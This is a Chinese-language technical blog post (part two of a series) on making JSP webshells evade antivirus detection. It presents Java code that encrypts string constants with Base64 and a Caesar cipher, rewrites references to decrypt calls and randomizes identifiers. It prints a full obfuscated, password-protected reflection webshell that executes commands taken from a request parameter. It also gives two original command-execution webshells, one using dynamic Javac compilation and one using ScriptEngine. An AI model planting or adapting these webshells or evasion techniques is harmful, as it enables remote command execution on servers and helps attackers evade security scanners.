浅谈JSP Webshell进阶免杀(二)

本文涉及的产品
密钥管理服务KMS,1000个密钥,100个凭据,1个月
简介: 浅谈JSP Webshell进阶免杀

加密字符串常量

还剩一部,其中提取的globalArr中的字符串是明文的

加密的算法必须是可逆的,因为在执行的时候需要取出来还原

笔者选择了比较简单的恺撒加密,没有使用复杂的AES等加密

由于恺撒加密无法对特殊字符加密,所以最终选择了Base64加恺撒加密的做法


给出网上找到的算法,在这个基础上做了修改

// 加密算法
public static String encryption(String str, int offset) {
   char c;
   StringBuilder str1 = new StringBuilder();
   for (int i = 0; i < str.length(); i++) {
       c = str.charAt(i);
       if (c >= 'a' && c <= 'z') {
           c = (char) (((c - 'a') + offset) % 26 + 'a');
      } else if (c >= 'A' && c <= 'Z') {
           c = (char) (((c - 'A') + offset) % 26 + 'A');
      } else if (c >= '0' && c <= '9') {
           c = (char) (((c - '0') + offset) % 10 + '0');
      } else {
           str1 = new StringBuilder(str);
           break;
      }
       str1.append(c);
  }
   sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
   return encoder.encode(str1.toString().getBytes(StandardCharsets.UTF_8));
}
// 需要嵌入JSP的解密算法
public static String dec(String str, int offset) {
   try {
       // 先Base64解码
       byte[] code = java.util.Base64.getDecoder().decode(str.getBytes("utf-8"));
       str = new String(code);
       char c;
       // 然后尝试恺撒密码解密
       StringBuilder str1 = new StringBuilder();
       for (int i = 0; i < str.length(); i++) {
           c = str.charAt(i);
           if (c >= 'a' && c <= 'z') {
               c = (char) (((c - 'a') - offset + 26) % 26 + 'a');
          } else if (c >= 'A' && c <= 'Z') {
               c = (char) (((c - 'A') - offset + 26) % 26 + 'A');
          } else if (c >= '0' && c <= '9') {
               c = (char) (((c - '0') - offset + 10) % 10 + '0');
          } else {
               str1 = new StringBuilder(str);
               break;
          }
           str1.append(c);
      }
       String result = str1.toString();
       // 处理特殊情况
       result = result.replace("\\\"","\"");
       result = result.replace("\\n","\n");
       return result;
  } catch (Exception ignored) {
       return "";
  }
}

注意到恺撒密码需要一个偏移量,所以需要保存下这个偏移写入JSP

Random random = new Random();
random.setSeed(System.currentTimeMillis());
// 随机偏移
int offset = random.nextInt(9) + 1;
// 得到字符串
List<StringLiteralExpr> stringList = method.findAll(StringLiteralExpr.class);
for (StringLiteralExpr s : stringList) {
   if (s.getParentNode().isPresent()) {
       // 如果是数组中的字符串
       if (s.getParentNode().get() instanceof ArrayInitializerExpr) {
           // 进行加密
           String encode = EncodeUtil.encryption(s.getValue(), offset);
           // 可能会有意外的换行
           encode = encode.replace(System.getProperty("line.separator"), "");
           // 设置回去
           s.setValue(encode);
      }
  }
}
// 记录偏移量
return offset;


重点来了,在被加密的字符串调用的时候需要添加上解密函数

效果是:globalArr[1] -> dec(global[1])

public static void changeRef(MethodDeclaration method, int offset) {
   // 所有的数组访问对象
   List<ArrayAccessExpr> arrayExpr = method.findAll(ArrayAccessExpr.class);
   for (ArrayAccessExpr expr : arrayExpr) {
       // 如果访问的是globalArr
       if (expr.getName().asNameExpr().getNameAsString().equals("globalArr")) {
           // 造一个方法调用对象,调用的是解密dec方法
           MethodCallExpr methodCallExpr = new MethodCallExpr();
           methodCallExpr.setName("dec");
           methodCallExpr.setScope(null);
           // dec方法参数需要是NodeList对象
           NodeList<Expression> nodeList = new NodeList<>();
           ArrayAccessExpr a = new ArrayAccessExpr();
           a.setName(expr.getName());
           a.setIndex(expr.getIndex());
           // 第一个参数为原来的数组调用
           nodeList.add(a);
           // 记录的offset需要传入第二个参数
           IntegerLiteralExpr intValue = new IntegerLiteralExpr();
           // 塞回去
           intValue.setValue(String.valueOf(offset));
           nodeList.add(intValue);
           methodCallExpr.setArguments(nodeList);
           expr.replace(methodCallExpr);
      }
  }
}


处理后的结果,结合异或加密来看效果很不错

String[] globalArr = new String[] { "M3w4fDV8OXwyfDB8NHw2fDEwfDEzfDF8MTF8MTJ8Nw==", "dWJp", "aHJp", "amF2YS5sYW5nLlJ1bnRpbWU=", "bGp5V3pzeW5yag==", "amNqaA==", "PHByZT4=", "PC9wcmU+" };
...
while (true) {
   int op = Integer.parseInt(b[index++]);
   switch(op) {
       case ((268173 ^ 1238199) ^ (588380 ^ 1968486)):
           ex = rt.getMethod(dec(globalArr[((895260 ^ 1717841) ^ (247971 ^ 1333227))], ((706827 ^ 1975965) ^ (557346 ^ 1863345))), String.class);
           break;
           break;
       case ((713745 ^ 1371509) ^ (428255 ^ 1606073)):
           gr = rt.getMethod(dec(globalArr[((254555 ^ 1810726) ^ (282391 ^ 1838190))], ((414648 ^ 1339706) ^ (324750 ^ 1496585))));
           break;
       case ((63576 ^ 1062484) ^ (129115 ^ 1128030)):
           rt = Class.forName(dec(globalArr[((193062 ^ 1348770) ^ (1652640 ^ 1003815))], ((369433 ^ 1334986) ^ (200734 ^ 1240520))));
           break;
      ...
  }
}


标识符随机命名

还差一步,需要对其中所有的标识符进行随机命名

这一步不难,拿到所有的NameExpr对name属性做修改即可

Map<String,String> vas = new HashMap<>();
// 所有的变量声明
List<VariableDeclarator> vaList = method.findAll(VariableDeclarator.class);
for(VariableDeclarator va:vaList){
   // 将变量名都随机修改
   String newName = RandomUtil.getRandomString(20);
   // 注意记录变量的映射关系
   vas.put(va.getNameAsString(), newName);
   va.setName(newName);
}
// 需要修改引用到该变量的变量名
method.findAll(NameExpr.class).forEach(n->{
   // 修改引用
   if(vas.containsKey(n.getNameAsString())){
       n.setName(vas.get(n.getNameAsString()));
  }
});


反射马最终处理

最后需要在JSP开头处塞入解密方法,而解密方法也可以进行除了恺撒加密这一步以外的其他手段

反射调用Webshell的例子经过处理后,最终的结果如下

<%@ page language="java" pageEncoding="UTF-8"%><%! String PASSWORD = "passwdd"; %><%!public static String dec(String str, int offset) {
   try {
       byte[] RdhWGkNRTHraMoNXnbqd = java.util.Base64.getDecoder().decode(str.getBytes("utf-8"));
       str = new String(RdhWGkNRTHraMoNXnbqd);
       char tBUyKgoXbsPvSsCJSufs;
       StringBuilder RsYpziowqWZoOiHwzNsD = new StringBuilder();
       for (int TjYCIPdUeOmJcJBsquxo = (1121081 ^ 1121081); TjYCIPdUeOmJcJBsquxo < str.length(); TjYCIPdUeOmJcJBsquxo++) {
           tBUyKgoXbsPvSsCJSufs = str.charAt(TjYCIPdUeOmJcJBsquxo);
           if (tBUyKgoXbsPvSsCJSufs >= 'a' && tBUyKgoXbsPvSsCJSufs <= 'z') {
               tBUyKgoXbsPvSsCJSufs = (char) (((tBUyKgoXbsPvSsCJSufs - 'a') - offset + (1931430 ^ 1931452)) % (1564233 ^ 1564243) + 'a');
          } else if (tBUyKgoXbsPvSsCJSufs >= 'A' && tBUyKgoXbsPvSsCJSufs <= 'Z') {
               tBUyKgoXbsPvSsCJSufs = (char) (((tBUyKgoXbsPvSsCJSufs - 'A') - offset + (1571561 ^ 1571571)) % (1308881 ^ 1308875) + 'A');
          } else if (tBUyKgoXbsPvSsCJSufs >= '0' && tBUyKgoXbsPvSsCJSufs <= '9') {
               tBUyKgoXbsPvSsCJSufs = (char) (((tBUyKgoXbsPvSsCJSufs - '0') - offset + (1720022 ^ 1720028)) % (1441753 ^ 1441747) + '0');
          } else {
               RsYpziowqWZoOiHwzNsD = new StringBuilder(str);
               break;
          }
           RsYpziowqWZoOiHwzNsD.append(tBUyKgoXbsPvSsCJSufs);
      }
       String TCdtxqdRtUvCZbefvpib = RsYpziowqWZoOiHwzNsD.toString();
       TCdtxqdRtUvCZbefvpib = TCdtxqdRtUvCZbefvpib.replace("\\\"", "\"");
       TCdtxqdRtUvCZbefvpib = TCdtxqdRtUvCZbefvpib.replace("\\n", "\n");
       return TCdtxqdRtUvCZbefvpib;
  } catch (Exception ignored) {
       return "";
  }
}%><%
   try {
       String[] ohMQjyWPNghGDIectNXy = new String[] { "M3w3fDl8MTF8MTB8NHwxfDEzfDB8Nnw4fDEyfDJ8NQ==", "eWZt", "bHZt", "amF2YS5sYW5nLlJ1bnRpbWU=", "cG5jQWR3Y3J2bg==", "bmdubA==", "PHByZT4=", "PC9wcmU+" };
       String KYojVAFKnStuhAMYzhkx = dec(ohMQjyWPNghGDIectNXy[((234768 ^ 1973569) ^ (590428 ^ 1346061))], ((651824 ^ 1630724) ^ (814895 ^ 1933074)));
       String[] yvralpImQfqgUyDKbRSG = KYojVAFKnStuhAMYzhkx.split("\\|");
       int kGsnqIufqoPkrtLHXIaW = ((279689 ^ 1441046) ^ (1995565 ^ 1034930));
       String llbDKgUNpIZeFFzrADVc = null;
       String DnyFyfbKEMRubCuIJCGT = null;
       Class sdyNhFJrytFWBVFtHBAW = null;
       java.lang.reflect.Method IggLavlquoqeLcmkEMCH = null;
       java.lang.reflect.Method vECcMsoXaxNOVEfGJtyD = null;
       Process PqYHaydLQrLSTEejmXPC = null;
       java.io.InputStream SOPjuNYhMRIxBIMFsLnC = null;
       java.io.InputStreamReader OskZRyDgCtUfhCNMbiHl = null;
       java.io.BufferedReader ADbSwyDfyRrnejwmlMVP = null;
       byte[] FyRwKNOxPNyWZqTioayh = null;
       while (true) {
           int ckwcNOWaQwslAqKXsBXS = Integer.parseInt(yvralpImQfqgUyDKbRSG[kGsnqIufqoPkrtLHXIaW++]);
           switch(ckwcNOWaQwslAqKXsBXS) {
               case ((130619 ^ 1310711) ^ (16539 ^ 1196378)):
                   SOPjuNYhMRIxBIMFsLnC = PqYHaydLQrLSTEejmXPC.getInputStream();
                   break;
               case ((70158 ^ 1439183) ^ (936575 ^ 1748408)):
                   out.print(dec(ohMQjyWPNghGDIectNXy[((1035581 ^ 1276560) ^ (1012433 ^ 1295738))], ((408828 ^ 1977713) ^ (805113 ^ 1333629))));
                   break;
               case ((791991 ^ 1721991) ^ (276318 ^ 1205350)):
                   OskZRyDgCtUfhCNMbiHl = new java.io.InputStreamReader(SOPjuNYhMRIxBIMFsLnC);
                   break;
               case ((994327 ^ 1996681) ^ (272624 ^ 1405797)):
                   sdyNhFJrytFWBVFtHBAW = Class.forName(dec(ohMQjyWPNghGDIectNXy[((723389 ^ 1911990) ^ (940741 ^ 1605581))], ((565548 ^ 1732890) ^ (581035 ^ 1707412))));
                   break;
               case ((660296 ^ 1894086) ^ (864030 ^ 1825429)):
                   out.print(dec(ohMQjyWPNghGDIectNXy[((160730 ^ 1269193) ^ (2021183 ^ 1046827))], ((530501 ^ 1792818) ^ (68852 ^ 1200010))));
                   break;
               case ((314344 ^ 1957918) ^ (171737 ^ 1815843)):
                   ADbSwyDfyRrnejwmlMVP = new java.io.BufferedReader(OskZRyDgCtUfhCNMbiHl);
               case ((7180 ^ 1883268) ^ (1034438 ^ 1271886)):
                   FyRwKNOxPNyWZqTioayh = new byte[((874262 ^ 1421190) ^ (356355 ^ 1933459))];
                   break;
               case ((840786 ^ 1964027) ^ (75706 ^ 1049616)):
                   llbDKgUNpIZeFFzrADVc = request.getParameter(dec(ohMQjyWPNghGDIectNXy[((313090 ^ 1196306) ^ (855029 ^ 1805796))], ((1045651 ^ 1997062) ^ (598409 ^ 1616917))));
                   break;
               case ((472276 ^ 1989936) ^ (960482 ^ 1560079)):
                   if (!llbDKgUNpIZeFFzrADVc.equals(PASSWORD)) {
                       return;
                  }
                   break;
               case ((405394 ^ 1254229) ^ (606815 ^ 1855135)):
                   DnyFyfbKEMRubCuIJCGT = request.getParameter(dec(ohMQjyWPNghGDIectNXy[((877796 ^ 1647594) ^ (1003933 ^ 1775249))], ((417054 ^ 1917469) ^ (779740 ^ 1112790))));
                   break;
               case ((766303 ^ 1441376) ^ (438729 ^ 1638140)):
                   IggLavlquoqeLcmkEMCH = sdyNhFJrytFWBVFtHBAW.getMethod(dec(ohMQjyWPNghGDIectNXy[((213616 ^ 1517688) ^ (867884 ^ 1659936))], ((741373 ^ 1786126) ^ (161325 ^ 1210583))));
                   break;
               case ((93071 ^ 1493750) ^ (108351 ^ 1443399)):
                   PqYHaydLQrLSTEejmXPC = (Process) vECcMsoXaxNOVEfGJtyD.invoke(IggLavlquoqeLcmkEMCH.invoke(null), DnyFyfbKEMRubCuIJCGT);
                   break;
               case ((480088 ^ 1200421) ^ (422292 ^ 1274859)):
                   String VzWBitUpHtiNHjloSSoh = null;
                   while ((VzWBitUpHtiNHjloSSoh = ADbSwyDfyRrnejwmlMVP.readLine()) != null) {
                       out.println(VzWBitUpHtiNHjloSSoh);
                  }
                   break;
               case ((492345 ^ 1552686) ^ (791819 ^ 1845016)):
                   vECcMsoXaxNOVEfGJtyD = sdyNhFJrytFWBVFtHBAW.getMethod(dec(ohMQjyWPNghGDIectNXy[((914605 ^ 1809294) ^ (17726 ^ 1452568))], ((937477 ^ 1205935) ^ (615802 ^ 1396185))), String.class);
                   break;
          }
      }
  } catch (Exception ignored) {
  }
%>


Javac动态编译

三梦师傅提供的Javac动态编译免杀马也可以进一步处理,在工具中已经实现

在JSP中构造命令执行的Java代码动态编译并执行实现Webshell

其中append很多字符串而不直接写,为了更好地恺撒加密和异或加密

处理前的原版Webshell如下:

<%@ page language="java" pageEncoding="UTF-8" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="javax.tools.ToolProvider" %>
<%@ page import="javax.tools.JavaCompiler" %>
<%@ page import="javax.tools.DiagnosticCollector" %>
<%@ page import="java.util.Locale" %>
<%@ page import="java.nio.charset.Charset" %>
<%@ page import="javax.tools.StandardJavaFileManager" %>
<%@ page import="java.util.Random" %>
<%@ page import="java.nio.file.Paths" %>
<%@ page import="java.io.File" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>
<%
   String PASSWORD = "password";
   String cmd = request.getParameter("cmd");
   String pwd = request.getParameter("pwd");
   if (!pwd.equals(PASSWORD)) {
       return;
  }
   String tmpPath = Files.createTempDirectory("xxxxx").toFile().getPath();
   JavaCompiler javaCompiler = ToolProvider.getSystemJavaCompiler();
   DiagnosticCollector diagnostics = new DiagnosticCollector();
   StandardJavaFileManager standardJavaFileManager = javaCompiler.getStandardFileManager(diagnostics, Locale.CHINA, Charset.forName("utf-8"));
   int id = new Random().nextInt(10000000);
   StringBuilder stringBuilder = new StringBuilder()
          .append("import java.io.BufferedReader;\n")
          .append("import java.io.IOException;\n")
          .append("import java.io.InputStream;\n")
          .append("import java.io.InputStreamReader;\n")
          .append("public class Evil" + id + " {\n")
          .append("   public static String result = \"\";\n")
          .append("   public Evil" + id + "() throws Throwable {\n")
          .append("       StringBuilder stringBuilder = new StringBuilder();\n")
          .append("       try {")
          .append("               BufferedReader bufferedReader = new BufferedReader(new InputStreamReader" +
                   "(Runtime.getRuntime().exec(\"" + cmd + "\").getInputStream()));\n")
          .append("               String line;\n")
          .append("               while((line = bufferedReader.readLine()) != null) {\n")
          .append("                       stringBuilder.append(line).append(\"\\n\");\n")
          .append("               }\n")
          .append("               result = stringBuilder.toString();\n")
          .append("       } catch (Exception e) {\n")
          .append("             e.printStackTrace();\n")
          .append("       }\n")
          .append("       throw new Throwable(stringBuilder.toString());")
          .append("   }\n")
          .append("}");
   Files.write(Paths.get(tmpPath + File.separator + "Evil" + id + ".java"), stringBuilder.toString().getBytes());
   Iterable fileObject = standardJavaFileManager.getJavaFileObjects(tmpPath + File.separator + "Evil" + id + ".java");
   javaCompiler.getTask(null, standardJavaFileManager, diagnostics, null, null, fileObject).call();
   try {
       new URLClassLoader(new URL[]{new URL("file:" + tmpPath + File.separator)}).loadClass("Evil" + id).newInstance();
  } catch (Throwable e) {
       response.getWriter().print("<pre>" + e.getMessage() + "</pre>");
  }
%>


ScriptEngine免杀

参考天下大木头师傅的ScriptEngine调用JS免杀马,在工具中完成了进一步的免杀

其中append很多字符串而不直接写,一方面为了更好地恺撒加密和异或加密,另外考虑是防止java.lang.Runtime这样的黑名单检测

处理前的原版Webshell如下:

<%@ page import="java.io.InputStream" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
   String PASSWORD = "password";
   javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("JavaScript");
   engine.put("request",request);
   String pwd = request.getParameter("pwd");
   if(!pwd.equals(PASSWORD)){
       return;
  }
   StringBuilder stringBuilder = new StringBuilder();
   stringBuilder.append("function test(){")
          .append("try {\n")
          .append(" load(\"nashorn:mozilla_compat.js\");\n")
          .append("} catch (e) {}\n")
          .append("importPackage(Packages.java.lang);\n")
          .append("var cmd = request.getParameter(\"cmd\");")
          .append("var x=java/****/.lang./****/Run")
          .append("time./****")
          .append("/getRunti")
          .append("me()/****/.exec(cmd);")
          .append("return x.getInputStream();};")
          .append("test();");
   java.io.InputStream in = (InputStream) engine.eval(stringBuilder.toString());
   StringBuilder outStr = new StringBuilder();
   response.getWriter().print("<pre>");
   java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
   java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
   String s = null;
   while ((s = stdInput.readLine()) != null) {
       outStr.append(s + "\n");
  }
   response.getWriter().print(outStr.toString());
   response.getWriter().print("</pre>");
%>
相关文章
|
5月前
|
缓存 安全 小程序
从基础到进阶:掌握Java中的Servlet和JSP开发
【6月更文挑战第23天】Java Web开发中的Servlet和JSP是关键技术,用于构建动态网站。Servlet是服务器端小程序,处理HTTP请求,生命周期包括初始化、服务和销毁。基础Servlet示例展示了如何响应GET请求并返回HTML。随着复杂性增加,JSP以嵌入式Java代码简化页面创建,最佳实践提倡将业务逻辑(Servlet)与视图(JSP)分离,遵循MVC模式。安全性和性能优化,如输入验证、HTTPS、会话管理和缓存,是成功应用的关键。本文提供了一个全面的学习指南,适合各级开发者提升技能。
47 7
|
6月前
|
前端开发 Java 数据库
【Spring原理进阶】SpringMVC调用链+JSP模板应用讲解
【Spring原理进阶】SpringMVC调用链+JSP模板应用讲解
|
Java
自定义jsp标签进阶
自定义jsp标签进阶
35 2
|
前端开发 Java
通用分页进阶之jsp之自定义标签
通用分页进阶之jsp之自定义标签
35 1
|
Java 物联网 Shell
Jsp Webshell在物联网的应用
Jsp Webshell在物联网的应用
|
Java
基于污点分析的JSP Webshell检测(三)
基于污点分析的JSP Webshell检测
197 0
基于污点分析的JSP Webshell检测(三)
|
Oracle Java 关系型数据库
基于污点分析的JSP Webshell检测(二)
基于污点分析的JSP Webshell检测
190 0
基于污点分析的JSP Webshell检测(二)
|
安全 Java
基于污点分析的JSP Webshell检测(一)
基于污点分析的JSP Webshell检测
381 0
基于污点分析的JSP Webshell检测(一)
|
安全 Java
浅谈JSP Webshell进阶免杀(三)
浅谈JSP Webshell进阶免杀
679 0
|
JavaScript Java 数据安全/隐私保护
浅谈JSP Webshell进阶免杀(一)
浅谈JSP Webshell进阶免杀
871 0